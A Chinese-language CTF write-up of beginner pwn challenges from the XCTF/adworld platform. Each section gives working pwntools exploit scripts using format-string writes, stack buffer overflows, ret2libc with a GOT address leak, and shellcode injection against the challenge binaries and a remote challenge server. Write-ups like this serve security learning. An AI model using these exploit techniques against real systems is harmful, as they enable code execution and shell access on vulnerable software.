攻防世界新手区pwn writeup

CGfsb

• 题目地址：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
• 下载文件后，使用file命令查看。
  
• 32位的文件，用ida打开，F5查看伪代码。
  
• printf漏洞：https://www.cnblogs.com/cfans1993/articles/5619134.html
• 思路：
  • 找到pwnme的地址
  • 把pwnme的地址写到s里面
  • printf输出8个字节，然后用%n把8写入到pwnme里面
• 步骤：
  • 利用ida直接找到pwnme的地址，为0x804a068
    
  • 找到s相对format参数的偏移量，可以看到，传递message的变量s，被存储在0xbffff628地址内，此时0xbffff600对应printf的format参数在栈中的位置，所以偏移量为10，对应构造%10$n。
    
  • 构造payload：（pwnme地址）+"aaaa"+"%10$n"
• pwntools：

    from pwn import *

    context.log_level = ‘debug‘ 
    DEBUG = int(sys.argv[1])

    if DEBUG == 1: 
        p = process(‘./cgfsb‘) 
    else: 
        p = remote(‘111.198.29.45‘,58350)

    pwnme_addr = 0x0804A068

    payload1 = "aaaa" 
    payload2 = p32(pwnme_addr) + ‘aaaa%10$n‘

    p.recvuntil(‘please tell me your name:\n‘) 
    p.sendline(payload1)

    p.recvuntil(‘leave your message please:\n‘) 
    p.sendline(payload2)

    print p.recv() 
    print p.recv()

 

• 运行结果：
  

When did you born

• 文件类型
  
• 运行测试
  
• IDA查看反汇编伪代码，v5等于1926能拿到flag，但之前有一个判断，不让输入1926
  
• IDA调试，观察栈
  • 输入生日1111，在栈中找到v5的位置
    
  • 输入名字abcdefghijk
    
  • 看到v4部分覆盖了v5，所以我们要构造的payload格式应该是8chars+‘\x86‘+‘\x07‘
• pwntools代码

from pwn import *
p=remote(ip,port)
p.sendafter(‘Your Birth?‘,str(0)+‘\n‘) 
p.sendafter(‘ Your Name?‘,‘a‘*8+p64(1926)) 
p.interactive()

 

• 运行结果
  

hello_pwn

• 下载后反汇编用IDA查看伪代码，发现有一个函数用于显示flag，重命名为showflag
  
• 显然，只要把dword_60106C赋值为1853186401就可以了，我们发现，输入aaaaaaaaaaaaaaaaa，其中一部分会覆盖dword_60106C，所以payload的格式应该是4chars+1853186401
  
• pwntools代码

from pwn import *
p = process("./637f5c201bf94c128c8c22e4d6e9cef3")
p.sendline(‘a‘*4+p32(1853186401))
p.interactive()

 

• 本地测试
  
• 远程
  

level0

• 检查保护
  
• 反汇编后发现callsystem函数调用了shell
• vulnerable_function函数存在栈溢出漏洞，考虑覆盖返回值
  
• 输入128个a和bbbbcccc后，可以看到，刚好到达返回地址，所以payload格式为128+8个char+callsystem地址
• exp如下

from pwn import *

p = remote(‘111.198.29.45‘,54531)
elf = ELF("./level0")
sysaddr = elf.symbols[‘callsystem‘]
payload = ‘a‘*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()

 

• 运行结果
  

level2

• 查看程序保护
  
• IDA查看反汇编伪代码，存在栈溢出漏洞
  
• 程序中含有system函数和"/bin/sh"字符串
  
• exp如下

from pwn import *

elf = ELF(‘./level2‘)
sys_addr = elf.symbols[‘system‘]
sh_addr = elf.search(‘/bin/sh‘).next()
 
payload = ‘A‘ * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

#io = remote(‘111.198.29.45‘,40579)
io = process("./level2")
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()

 

guess num

• 查看文件类型
  
• 检查程序保护
  
• 运行测试
  
• IDA反汇编
  
• 可以看到，每次数字都是一个随机数，而且随机数的种子是在gets之前的，所以我们可能有机会覆盖seed
  
• 查看栈，可以发现，输入name确实可以覆盖到seed
  
• exp：（循环里用sendafter和recvuntil都跑不动，只好手动了）

from pwn import *
from ctypes import *

elf = ELF(‘./guess‘)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io = process(‘./guess‘)
#io = remote("111.198.29.45",58174)

payload = 32 * ‘a‘ + p64(1)
io.sendafter("Your name:", payload)

libc.srand(1)

for i in range(10):
    num = str(libc.rand()%6+1)
    print num+" ",

io.interactive()

 

• 运行结果
  

cgpwn2

• 检查保护
  
• 反汇编
  
• 我们可以看到程序里面有system函数，但是没有"/bin/sh"字符串，但是name变量是全局的，我们可以尝试把字串放到name变量里
• exp:

from pwn import *

elf = ELF(‘./cgpwn2‘)
io = process(‘./cgpwn2‘)
#io = remote("111.198.29.45",58174)

payload = 42 * ‘a‘ + p32(elf.symbols[‘system‘]) + p32(0xdeadbeef) + p32(0x0804A080)
shstr = "/bin/sh"

io.recvuntil("name")
io.sendline(shstr)
io.recvuntil("here:")
io.sendline(payload)

io.interactive()

 

int overflow

• 查看保护
  
• 运行测试
  
• 反汇编，发现有一个函数已经有显示flag的功能了，但是并没有被调用，可以考虑返回地址溢出，在密码检查的函数中，我们看到，字符串长度被赋给了uint8类型，这里会发生截断，而在正确的分支，s字符串会被strcpy使用。
  
  
  
• 整数溢出：由于int是32位，而int8是8位，我们可以在最后8位伪造长度，骗过长度检测，使用"0000 1000"(8)作为最后8位。
• 栈中返回地址被覆盖（长度263）
  
• payload格式：0x14个char + 4个char + 地址（占4个char) + 0xeb个char
• exp

from pwn import *

elf = ELF(‘./intover‘)
io = process(‘./intover‘)
#io = remote("111.198.29.45",51548)

io.recvuntil("choice:")
io.sendline(‘1‘)
io.recvuntil("username:")
io.sendline("aaa")
io.recvuntil("passwd")
io.sendline(‘a‘*0x14 + ‘a‘*4 + p32(elf.symbols[‘what_is_this‘]) + 0xea*‘a‘)
io.interactive()

 

• 运行结果
  
• 整数溢出：https://www.cnblogs.com/pwn2web/p/11164417.html

string

• 查看保护
  
• 反汇编，发现一个格式化字符串漏洞，一处强制转化位函数指针
  
  
• 我们只要把shellcode写入v1就可以了
• 逆推，我们要使a1[0]和a1[1]一样
  
• a1在上一级函数中是一个指针
  
• a1也就是在main中的v4，也就是v3，我们通过secret[0]得到地址
• 这里可以在v2写入v3[0]的地址，然后通过格式化字符串漏洞，在v3[0]中写入85，使v3[0]==v3[1]
• 寻找format在栈中的位置，偏移量为7
  
• exp:

from pwn import *

#io = remote(‘111.198.29.45‘,‘41410‘)
io = process("./string")
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("character‘s name be:")
io.sendline("tiumo")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("‘Give me an address‘")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")

context(log_level = ‘debug‘, arch = ‘amd64‘, os = ‘linux‘)
shellcode=asm(shellcraft.sh())

io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()

 

• 运行结果：
  

level3

• 先查看保护
  
• 反汇编，很直白的栈溢出
  
• GOT表与PLT表：https://blog.csdn.net/qq_18661257/article/details/54694748
• ret2libc攻击：https://blog.csdn.net/guilanl/article/details/61921481
• exp（本地不能执行，但远程可以，不知道为什么）

#-*-coding:utf-8-*-
from pwn import *

#io = process(‘./level3‘)
io = remote(‘111.198.29.45‘,55186)
elf = ELF(‘./level3‘)
libc = ELF(‘./libc_32.so.6‘)

write_plt = elf.plt[‘write‘]
vul_addr = elf.symbols[‘vulnerable_function‘]
got_addr = elf.got[‘write‘]

payload1="a"*0x88 + ‘aaaa‘ + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr = u32(io.recv(4))
print write_addr

libc_write = libc.symbols[‘write‘]
libc_system = libc.symbols[‘system‘]
libc_sh = libc.search(‘/bin/sh‘).next()
system_addr = write_addr + (libc_system-libc_write) #用相对地址计算真实地址
sh_addr = write_addr + (libc_sh-libc_write)

payload2 = ‘a‘*0x88 + ‘aaaa‘ + p32(system_addr) + ‘aaaa‘ + p32(sh_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()